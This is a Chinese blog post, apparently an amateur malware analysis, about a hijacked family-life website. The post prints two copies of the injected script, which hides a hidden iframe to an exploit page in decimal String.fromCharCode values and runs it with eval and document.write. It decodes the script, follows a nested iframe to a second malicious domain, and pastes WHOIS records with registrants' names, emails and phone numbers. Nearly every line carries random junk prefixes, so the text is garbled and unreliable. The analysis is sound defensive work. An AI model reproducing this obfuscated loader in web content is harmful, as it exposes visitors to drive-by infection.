首发在我的博客里面，
\?o%<c5{ khR3[ju {^ http://www.areway.cn/?p=175 I' gnw~ "~ /3 \yqiv"' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;Cwn1N9S gOk O8P6P8 <script>t=’60,105,102,114,97,109,101,
1;h>^NOq 32,115,114,99,61,104,116,116,112,58,47,47,
l @Ki`if 102,114,101,101,46,117,45,117,117,117,46,99,
P+/L, u 110,47,101,114,114,111,114,46,104,116,109,
gSC@uf 32,119,105,100,116,104,61,49,48,48,32,104,
Pzqgg43Xf 101,105,103,104,116,61,48,62,60,47,105,102,
kU /?#s 114,97,109,101,62′;
1ysA ~2 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
UaBR;v-.B3 kBT uM" <script>t=’60,105,102,114,97,109,101,32,115,
b7n~z1$ 114,99,61,104,116,116,112,58,47,47,102,114,
`XnFc*L 1 101,101,46,117,45,117,117,117,46,99,110,47,
Bw$-*FYE 101,114,114,111,114,46,104,116,109,32,119,
n s3k{l# 105,100,116,104,61,49,48,48,32,104,101,105,
o TL "]3`' 103,104,116,61,48,62,60,47,105,102,114,97,
4Vs ;Y&t] 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
G`n-WP document.write(t);</script>
]8^2(^3ct %tMfOW <html xmlns=”
Vf@/}=X * http://www.w3.org/1999/xhtml 2#R"#Q! “>
ovl@[>OB <head>
eZv0"FK
X <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
myo/}58Nv <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
)-9/5Z0v <title>首页 - 爱生活家庭网
&`9lIVB,K fVkl-<?x 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
BK +JHT 转换字符串后的大概内容是（谁点击后果自付）：
kO4C^pl"v <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
qHj4`& |oM6(px 查询玉米u-uuu.cn的详细信息：
{r"s.|n Domain Name: u-uuu.cn
_w26iCnB{ ROID: 20070901s10001s64972306-cn
_ k}b Domain Status: ok
("aYjK k Registrant Organization: 王雷
* n[6H Registrant Name: 王雷
41.+3V P Administrative Email:
czlovexs@126.com 3lJK[V{'#' Sponsoring Registrar: 北京万网志成科技有限公司
(*EN! -/ Name Server:ns.yovole.com
~$cw]R58,9 Name Server:ns1.yovole.com
6hZhD1lDG^ Registration Date: 2007-09-01 17:54
P)H%dJ ^l Expiration Date: 2008-09-01 17:54
X[|>r@Aa! 最后PING了一下地址 都没有什么….
6e*J C f> ^mGT ZxO 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
>ko;CQR <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
."lY>(HJ <script language=”javascript” src=”
ED6H http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Q.N^1?(>k >
WgIVhj 这个玉米应该有可能是木马作者的：
<
;g0 ?M\ foafau.info的详细信息：
O-7 \qz Access to INFO WHOIS information is provided to assist persons in
hOq1 "k L determining the contents of a domain name registration record in the
'
Sl9xd Afilias registry database. The data in this record is provided by
1?*vqd t Afilias Limited for informational purposes only, and Afilias does not
"}!vYr guarantee its accuracy. This service is intended only for query-based
?gkK* \x2 access. You agree that you will use this data only for lawful purposes
*8Lym,] and that, under no circumstances will you use this data to: (a) allow,
kTzZj|l^\ enable, or otherwise support the transmission by e-mail, telephone, or
PvM<#z q_ facsimile of mass unsolicited, commercial advertising or solicitations
l} )uY ae/ to entities other than the data recipient’s own existing customers; or
\!% 3giD5! (b) enable high volume, automated, electronic processes that send
$yt|nO queries or data to the systems of Registry Operator, a Registrar, or
l 0
1Lg6+S Afilias except as reasonably necessary to register domain names or
[]Z6<rC| modify existing registrations. All rights reserved. Afilias reserves
3w-0v"j U the right to modify these terms at any time. By submitting this query,
=g j]R you agree to abide by this policy.
0
cQf_o Domain ID:D22418703-LRMS
EH[ ?*>+s Domain Name:FOAFAU.INFO
Ug9o/I@}C Created On:20-Nov-2007 16:05:42 UTC
|.,y M| Last Updated On:20-Nov-2007 16:05:44 UTC
zR/A Tm]9 Expiration Date:20-Nov-2008 16:05:42 UTC
qaUHcdH Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
v\<`" Status:CLIENT DELETE PROHIBITED
JRG7<s $ Status:CLIENT RENEW PROHIBITED
IXH;QwR: Status:CLIENT TRANSFER PROHIBITED
`0so)2ty+ Status:CLIENT UPDATE PROHIBITED
5? Bi+fg Status:TRANSFER PROHIBITED
n"Ev25 % Registrant ID:GODA-040110615
@P8q=j}l9 Registrant Name:liu hong
-?GYW81Q Registrant Organization:
ve>8vw2 Registrant Street1:beijing
0!^{V:DtQ Registrant Street2:
U$ -FQRM4K Registrant Street3:
VA]%i P,O- Registrant City:beijing
;e WVc;H Registrant State/Province:
Sw0~6RZ Registrant Postal Code:100000
9eV@v Registrant Country:CN
gs. K,x ma Registrant Phone:+86.860108888777
';
qT Registrant Phone Ext.:
Z(V 4"x7F Registrant FAX:
rVz#;d!`z Registrant FAX Ext.:
Wy|=F ~N Registrant Email:bbbshiji@163.com
YT-t$QyL Admin ID:GODA-240110615
1sgoT f% Admin Name:liu hong
I5-/K VWb Admin Organization:
q'W`t>2T Admin Street1:beijing
=7$YBCuF Admin Street2:
wi&m(f(~ Admin Street3:
`]fY9ZDKs Admin City:beijing
wK ,t q Admin State/Province:
(g Admin Postal Code:100000
lte~26=e Admin Country:CN
B^K C~W Admin Phone:+86.860108888777
<yIJ$nBx Admin Phone Ext.:
LNr2YRpyz Admin FAX:
8I@_X~R Admin FAX Ext.:
`OBDx ^6F Admin Email:bbbshiji@163.com
$#0%gs/x Billing ID:GODA-340110615
=LuA [g Billing Name:liu hong
$ccI(J`zux Billing Organization:
V{(ve#y7`{ Billing Street1:beijing
Ao0F? 2 | Billing Street2:
T,;6q!s= Billing Street3:
inp= - Billing City:beijing
;8U NM Billing State/Province:
`f b}cJU a Billing Postal Code:100000
s'i1!GNF
B Billing Country:CN
thkL< Billing Phone:+86.860108888777
9g>ay-W[( Billing Phone Ext.:
8 2_3|T Billing FAX:
PI }A')Nq. Billing FAX Ext.:
$ o-s?"; Billing Email:bbbshiji@163.com
73P(oVj< Tech ID:GODA-140110615
Y RB,jwne Tech Name:liu hong
9 =h A#t.# Tech Organization:
/*st, P$" Tech Street1:beijing
}bHd U]$} Tech Street2:
=_TCt H Tech Street3:
; zs4>>^> Tech City:beijing
^gNAGQYA Tech State/Province:
|JrG?:n Tech Postal Code:100000
Z>o 20uA Tech Country:CN
TlM ]d;9G Tech Phone:+86.860108888777
3:S
Ex;d+ Tech Phone Ext.:
>\MV/!W Tech FAX:
;o#dmG Tech FAX Ext.:
R$v{ p[ Tech Email:bbbshiji@163.com
&x\u.wIa Name Server:NS27.DOMAINCONTROL.COM
{GZHD^Ce Name Server:NS28.DOMAINCONTROL.COM
/SZsXaC ' Name Server:
F%L^k.y$ Name Server:
4 ,Fu Q} Name Server:
V5M_ N;h Name Server:
WtdWD_\%Y\ Name Server:
;c~6^s`2 Name Server:
\Q]2 Z q Name Server:
tTC[^Dji Name Server:
TVYO`9:CW Name Server:
?. CA9!| Name Server:
+|\dVe. Name Server:
E5.)ro=$ IaN|S|n~ 接着下载每个文件里面的代码：
C
< ]rY 一步一步看..
0;o`7f 
H<"{wUPT0 
:Iw)xd1d}\ 
YQ2ie>C8 
YS/{q~$t 
evZ{~v& / 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
